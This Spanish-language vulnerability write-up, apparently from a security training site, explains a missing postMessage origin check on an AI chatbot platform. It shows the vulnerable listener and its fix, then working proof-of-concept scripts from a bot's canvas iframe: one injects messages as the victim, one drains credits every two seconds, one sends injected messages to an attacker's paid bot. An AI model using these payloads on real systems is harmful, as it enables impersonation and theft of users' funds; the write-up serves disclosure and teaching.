Respuesta rápida
Una plataforma de IA conversacional tenía un listener de postMessage en la ventana padre que solo validaba e.data.source === "poeFrame" — un campo controlado al 100% por el emisor. Nunca se chequeaba e.origin. Desde el <iframe> de la canvas de un bot malicioso, cualquier visitante recibía mensajes inyectados como si los hubiera escrito él mismo. Zero-click, escalable a credit drain y robo financiero directo.
1. Contexto de la plataforma
La plataforma es un agregador de modelos de IA donde cualquier usuario puede crear bots. Estos bots pueden tener una canvas (lienzo interactivo) — básicamente un <iframe> que carga HTML/JS externo alojado en un CDN propio (cdn.target.tld).
[main.target.tld (parent window)]
↕ postMessage API
[cdn.target.tld (canvas iframe)]
El canal de comunicación entre el iframe y la ventana padre se implementa mediante la Web Messaging API (window.postMessage). Y precisamente aquí está el fallo.
2. El fallo técnico — Missing Origin Validation
postMessage 101
window.postMessage(data, targetOrigin) permite enviar mensajes entre contextos de navegación distintos (iframes, ventanas abiertas, etc.). El receptor escucha con window.addEventListener('message', handler).
El objeto MessageEvent que recibe el listener expone tres propiedades críticas:
| Propiedad | Descripción |
|---|---|
e.data | El payload del mensaje — completamente controlado por el emisor |
e.origin | El origen del emisor — establecido por el navegador, no falsificable |
e.source | Referencia a la ventana emisora |
La regla de oro: siempre validar e.origin. Es el único campo que garantiza de dónde viene el mensaje.
El código vulnerable
let onMessageEvent = e => {
if (!e.source || "poeFrame" !== e.data.source) return;
// ❌ NUNCA se valida e.origin
let n = e.source, t = u.get(n);
if (t) t(n, e);
}
El listener aplica un único check: e.data.source === "poeFrame". Pero e.data es el payload del mensaje, definido 100% por el atacante. Cualquier página puede mandar:
parent.postMessage({ source: "poeFrame", ... }, "*");
y pasar el filtro. La validación es trivialmente bypasseable porque se está comprobando un campo que el propio atacante controla.
Por qué e.origin es la solución correcta
e.origin lo establece el navegador automáticamente según de dónde viene el mensaje. No es manipulable desde JavaScript:
const ALLOWED_ORIGINS = ["https://cdn.target.tld"];
let onMessageEvent = e => {
if (!ALLOWED_ORIGINS.includes(e.origin)) return; // ✅ validación real
if (!e.source || "poeFrame" !== e.data.source) return;
// procesar...
}
3. Superficie de ataque — la miniAppAPI
El mensaje que el iframe puede enviar al padre invoca una API interna llamada miniAppAPI. El payload de la acción sendMessage es:
{
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: "<random>",
data: {
text: "<mensaje arbitrario>", // ← atacante controla esto
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}
Cuando el dominio principal recibe este mensaje (sin validar origen), lo procesa como si la propia víctima hubiera escrito ese mensaje y lo envía al bot activo. La víctima no ve ningún prompt, no confirma nada, no hace nada.
4. Flujo de ataque completo
[Atacante] crea bot con canvas HTML maliciosa
↓
[Atacante] comparte link (o el bot aparece orgánicamente)
↓
[Víctima] abre el bot (1 solo click)
↓
Plataforma carga canvas en iframe
↓
Canvas → postMessage({ source:"poeFrame", sendMessage, text:"..." })
↓
Plataforma NO valida e.origin ❌
↓
Mensaje inyectado AS la víctima → bot objetivo
↓
Bot responde (consumiendo créditos de la víctima)
El ataque es zero-click desde la perspectiva de la víctima: basta con abrir el bot. El canvas se carga automáticamente y el JavaScript se ejecuta sin interacción adicional.
5. Vectores de impacto escalados
5.1 Inyección básica de mensajes
El PoC inicial simplemente inyecta un mensaje de texto:
<script>
parent.postMessage({
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: Math.random().toString(36).substring(2),
data: {
text: "This message was injected without user interaction",
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}, "*");
</script>
Impacto: conversación manipulada, el usuario ve respuestas a preguntas que nunca hizo.
5.2 Credit Drain — drenaje de créditos de pago
La plataforma tiene modelos de pago que consumen créditos por mensaje. El PoC escalado usa setInterval:
function drain() {
parent.postMessage({
source: "poeFrame",
type: "miniAppAPI",
subType: "request",
requestName: "sendMessage",
requestId: Math.random().toString(36).substring(2),
data: {
text: "@Modelo-Premium escribe 2000 palabras",
attachments: [],
stream: false,
openChat: true,
parameters: {}
}
}, "*");
}
setInterval(drain, 2000); // cada 2 segundos
Resultado: mientras la víctima tenga la pestaña abierta, sus créditos se consumen a máxima velocidad invocando el modelo más caro disponible.
5.3 Financial Theft — robo directo de dinero
Esta escalación convierte la vulnerabilidad de "daño" a robo financiero directo.
La plataforma permite a los creadores de bots cobrar por mensaje. El atacante puede:
- Crear un bot propio con un precio establecido (ej. 100 créditos/msg).
- En la canvas maliciosa, hacer que los mensajes inyectados apunten a
@SuBotDePago. - Cada mensaje inyectado transfiere créditos de la víctima al atacante como revenue.
data: {
text: "@BotDelAtacante_con_precio cualquier_texto",
...
}
El flujo de dinero es: víctima → plataforma → atacante. No es solo desperdicio, es extracción activa de valor económico hacia el atacante.
6. Lo que hace al ataque especialmente grave
| Factor | Detalle |
|---|---|
| Zero interaction | Basta con cargar la página del bot — el canvas se ejecuta automáticamente |
| Sin bypass adicional | No requiere XSS, CSRF token, ni nada. La plataforma "funciona", el fallo es de diseño |
| Escalabilidad masiva | Un solo bot público puede afectar a miles de usuarios simultáneamente |
| Invisibilidad | La víctima no recibe notificación, no ve prompt sospechoso |
| Persistencia | Mientras la pestaña esté abierta, el ataque continúa en bucle |
| Sin CSP que lo bloquee | Se usan APIs legítimas de la plataforma |
| Descubrimiento orgánico | El bot puede aparecer en búsquedas, recomendaciones y homepage sin necesidad de phishing |
7. Análisis del wildcard "*" en el emisor
El canvas envía con targetOrigin = "*":
parent.postMessage({ ... }, "*"); // sin restricción de destino
El mensaje se envía a cualquier ventana padre, sea cual sea su origen. En condiciones normales, el canvas debería especificar el dominio principal como targetOrigin. El "*" en el emisor es mala práctica adicional, pero el fallo principal sigue siendo en el receptor.
8. Clasificación técnica
| Campo | Valor |
|---|---|
| Tipo de vulnerabilidad | Missing Origin Validation in postMessage handler |
| CWE | CWE-346 (Origin Validation Error) |
| OWASP | A07:2021 — Identification and Authentication Failures |
| Autenticación requerida (atacante) | Solo cuenta gratuita |
| Autenticación requerida (víctima) | Sesión activa en la plataforma |
| User interaction | 1 click (abrir el bot) |
| Alcance | Todos los usuarios autenticados de la plataforma |
9. Notas técnicas
- El check
e.data.source === "poeFrame"intenta actuar como un "secret handshake", pero al estar ene.data(controlado por el atacante) no aporta seguridad. - La API
miniAppAPIparece ser una capa de abstracción sobre las capacidades expuestas al canvas — el hecho de quesendMessagesea accesible sugiere que hay más métodos que podrían ser explotables con el mismo vector si la comunicación no se restringe. - El
requestIdaleatorio (Math.random().toString(36)) sugiere que la API tiene un sistema de correlación request/response — potencialmente explotable para leer respuestas también desde el canvas.
Labs relacionados
Practica chains de postMessage, origin validation y abuso de iframes anidados: labs de postMessage.
Practica esto en un lab
Postmessage
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.